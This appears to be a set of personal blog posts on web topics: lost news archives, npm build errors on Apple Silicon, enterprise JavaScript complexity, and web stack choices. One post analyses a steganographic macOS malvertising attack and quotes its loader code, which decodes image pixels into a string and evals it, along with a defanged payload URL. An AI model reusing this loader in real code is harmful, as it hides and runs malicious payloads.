From Christian Heilmann (via Om Malik):

The global library is burning

...

On the social web, knowledge is smothered by agenda and on the publisher web by ads and paywalls and contracts. Ever tried to look up some news from 12 years ago? Back in library days you were able to do that. On news portals, most articles are deleted after a year, and on newspaper web sites you hardly ever get access to the archives – even with a subscription.

(Aside: Just checked my local newspaper, hoping for a counter-example, and it's true there too. Even with my monthly, inflated subscription payments, I don't have access to the archives. Though I bet my local library does, as it did (natch) during the "library days".)

This -- what ultimately boils down to the loss (or "unremediation") of [paper] ownership -- is, perhaps, why we need a more thorough Archive.org.

Labels: archive, copyright, subscriptions, web

Labels: apple, mvp, safari, testing, web

I got a new MacBook Air. The tools [that depend on npm, so, um, in a modern environment, everything] are not ready for you.

You're not going to find prebuilt binaries.

node-pre-gyp WARN Tried to download(404): https://fsevents-binaries.s3-us-west-2.amazonaws.com/v1.2.4/fse-v1.2.4-node-v88-darwin-arm64.tar.gz 

node-pre-gyp WARN Pre-built binaries not found for fsevents@1.2.4 and node@15.2.1 (node-v88 ABI, unknown) (falling back to source compile with node-gyp) 

And you're not going to be able to build from source.

In file included from ../fsevents.cc:82:

../src/constants.cc:93:11: error: no matching member function for call to 'Set'

  object->Set(Nan::New<v8::String>("kFSEventStreamEventFlagEventIdsWrapped").ToLocalChecked(), Nan::New<v8::Integer>(kFSEventStreamEventFlagEventIdsWrapped));

  ~~~~~~~~^~~

/Users/SomeDev/Library/Caches/node-gyp/15.2.1/include/node/v8.h:3716:37: note: candidate function not viable: requires 3 arguments, but 2 were provided

  V8_WARN_UNUSED_RESULT Maybe<bool> Set(Local<Context> context,

                                    ^

/Users/SomeDev/Library/Caches/node-gyp/15.2.1/include/node/v8.h:3719:37: note: candidate function not viable: requires 3 arguments, but 2 were provided

  V8_WARN_UNUSED_RESULT Maybe<bool> Set(Local<Context> context, uint32_t index,

                                    ^

fatal error: too many errors emitted, stopping now [-ferror-limit=]

2 warnings and 20 errors generated.

Labels: apple, apple silicon, npm, web

• Once you step outside of the social media bubble, however, vanilla JS and more ‘modest’ approaches like Svelte or Stimulus/TurboLinks seem to have reached critical mass in terms of sustainability.Irrespective of those newer trends, jQuery and PHP-driven, un-hydrated, old-fashioned server-side rendering still utterly dominate the web that people use.

• Web dev driven by npm packages, frameworks, and bundling is to the field of web design what Java and C# in 2010s was to web servers. If you work in enterprise software [npm, framework, and bundling-through-transpilation driven patterns are] all you can see. Web developers working on CMS themes (or on Rails-based projects) using jQuery and plain old JS—maybe with a couple of libraries imported directly via a script tag—are the unseen dark matter of the web dev community.

• What should worry you is that npm- and framework-driven web development feels just as painful as enterprise software dev because it is enterprise development.

• TypeScript smells like Java.

• The complexity of npm packages harkens back to painful Java packaging monstrosities.

• JavaScript build systems are about as much fun as Java build systems, even though they are doing very different things.

• Deployment, as implemented in the Kubernetes and Docker ecosystems, is exactly as hard to understand and use as its Java predecessors because those are their predecessors.

• Some of use work exclusively with SMBs (Small-/Medium-sized Businesses) and shouldn’t need to run the enterprise anti-productivity gauntlet. Our needs in terms of frameworks, bundling, and packages are very different from those working in enterprises with hundreds or thousands of employees.

• It is not rational to expect [developers for small and medium-sized businesses] to be using enterprise-oriented tools and environments or to demand that we be happy about being saddled with your need for complexity.

• The divide between what you read in developer social media and what you see on web dev websites, blogs, and actual practice has never in my recollection been this wide. I’ve never before seen web dev social media and forum discourse so dominated by the US west coast enterprise tech company bubble, and I’ve been doing this for a couple of decades now. The pre-2000 dot-com bubble comes close although that one came attached to an actual financial bubble and happened before social media had evolved into its current form.

Labels: development, enterprise, javascript, npm, web, web 2.0 shiite

I’d been meaning to talk about the stenographic macOS exploit for a while. It’s interesting, but doesn’t really seem to warrant the amount of press it got. The TL;DR for it seems to be, “This is a clever hack to recreate the sorts of exploit you saw all over the place five years ago pop back up briefly.”

That is, all it does is hide some code that can would’ve been fingerprinted as an attack. You still have to download something stupid (afaict) to be compromised.

Let’s hit the high points from the security blog post:

Here’s how the exploit operates:

• Create a Canvas object (this enables the use of the HTML5 Canvas API in order to interact with images and their underlying data.)
• Grab the image located at: hxxp://s.ad-pixel.com/sscc.jpg
• Define a function that checks if a specific font family is supported in the browser.
• Check if Apple fonts are supported. If not, then do nothing.
• If so, then loop through the underlying data in the image file. Each loop reads a pixel value and translates it into an alphanumeric character.
• Add the newly extracted character to a string.
• Execute the code in the string.

...

All of the landing pages have been observed to force the download of a file named AdobeFlashPlayerInstaller.iso

And here’s the secret code in action that reads from the image and pushes it into an eval:

image['onload'] = function () {
    ctx['drawImage'](image, 0x0, 0x0);
    var o = ctx['getImageData'](0x0, 0x0, image['width'], image['height']);
    for (var p = 0x0, q = 0x0; q < 0x4b; p = p + 0x4, q++) {
        rs += String['fromCharCode'](o['data'][p + 0x2]);
    }
    eval(rs);
};

That should do it for you. It treats the image as a data stream, decodes some characters, and evals them. Well, duh.

Question: Why do browsers still allow eval?

(Okay, there’s probably something where on-demand loading with require, once transpiled (and don’t get me started on transpiled code (which I use all the time professionally, true) or I’ll get out my old man stick and scare you off of my lawn), calls eval, but it seems we could distinguish between libraries loaded and eval’d and strings created on the client so that we could at least get rid of this low-hanging fruit.)

As the blog author says…

Techniques like steganography are useful for smuggling payloads without relying on hex encoded strings or bulky lookup tables.

That’s really all we’re doing… we’re using an image for encoding a payload, and security folks hadn’t thought to sniff those yet. The rest still has to trick you into opening something you didn’t ask for before you’re compromised. That is, there are other checks to prevent immediate failure.

Btw: This is why you have to turn off “Open ‘safe’ files after downloading” in Safari. You can be made to download files, and you don’t want to hand them automatically to another security issue.

This is a natural progression. Not really much to see or learn here past that.

Labels: apple, browsers, security, web

I've been setting up a new greenfield project, and wanted to use not exactly a new stack, per se, so much as an "all-star" stack that'd capture the lessons I've learned coding recently. For me, that means it needs to be pretty straightforward, minimal dependencies, and minimal compilation. The fewer libraries and snowflake server requirements, the better.

On first take, after bypassing Node, which really is the winner,¹ my guess was that my all-star stack would be...

1. ASP.NET Core
   • C# with no OS limits.
   • Deploy inexpensively to Linode, eg, if you want.
2. Web API on ASP.NET
   • No Razor templates (not that I hate Razor; just one less tech to maintain)
   • No direct interaction between server and views/html/client.
   • Keeps concerns separated perfectly, exchanging only JSON between tiers.
3. Statically served html (with JavaScript packages, natch)
4. jQuery 3.x slim
   • Slim means no ajax; it's more efficient to roll your own.
   • Every time I've used $.ajax, we've wrapped that with our own error handling, etc, anyhow.
   • Learn to spell XmlHttpRequest. ;^)
5. Bootstrap
   • The cheapest mobile client is a responsive web client.
   • I realize native is better. But responsive is, give or take, free.
   • Also gives a decent basic theme.
6. VueJS
   • This was probably the most difficult to decide on ahead of time
   • Will discuss more below.
7. PostgreSQL or MySQL

VueJS was difficult to pick. I've used React, and almost solely React, for the last year. I like it. But I believe it contributes to monolithic source that's not necessarily factored well. The more interdependencies your code has, the more maintenance is an issue. And doing good React essentially requires, at this point, using Babel, and as soon as you're transpiling, well, the surrounding tooling and library dependencies skyrocket. Not to mention that debugging transpiled code either means you're wading into transpiler-generated muck, or you've got to maintain yet more tooling to step through things in something that's not the browser.

I was originally going to use Handlebars, which I've liked for years for its exceptional thinness & the way it encourages minimal business logic on the client, but caught Shawn Wildermuth on Jesse Liberty's Yet Another Podcast, and heard him talk about VueJS. VueJS is essentially Handlebars with, afaict, a few more recent lessons baked in. The syntax is actually very similar to Handlebars in many ways.

Here's what eventually won me over:

Unlike other monolithic frameworks, Vue is designed from the ground up to be incrementally adoptable. The core library is focused on the view layer only, and is easy to pick up and integrate with other libraries or existing projects. On the other hand, Vue is also perfectly capable of powering sophisticated Single-Page Applications when used in combination with modern tooling and supporting libraries.

It looks like we've got good room to grow using VueJS' conventions if we want to do a full SPA in the future.

I also debated not using Bootstrap, but I don't think it's worth the time to roll your own responsiveness when Bootstrap does it so well. It's over 200 KB total, but if you have it cached, that's a one-time hit that's smaller than most images. You're fine.

jQuery was also debatable, since you can handle DOM manipulation fairly well by wrapping vanilla JS with some convenience wrappers to check for DOM existence, but at 69 KB? Come on. It's well known, rock solid, and has good industry support. Use jQuery.

This looked nice. Simple, API-only and REST convention compliant server. No licensing fees. No JavaScript transpilation required, which will pay for itself in spades when you're debugging. Thin client. Clean separation of concerns.

I was going to go through my headaches setting everything up here, but I'll split that into a new post later. The quick version? Because of a wack nuget configuration I didn't realize was an issue (command line nugget didn't pick the "right" nugget server; I had a local one set up in VS2017 as well), I'm using SQL Server for now, though I will probably give PostgreSQL another look before I settle on a dbms.

Labels: c#, javascript, node, noteToSelf, web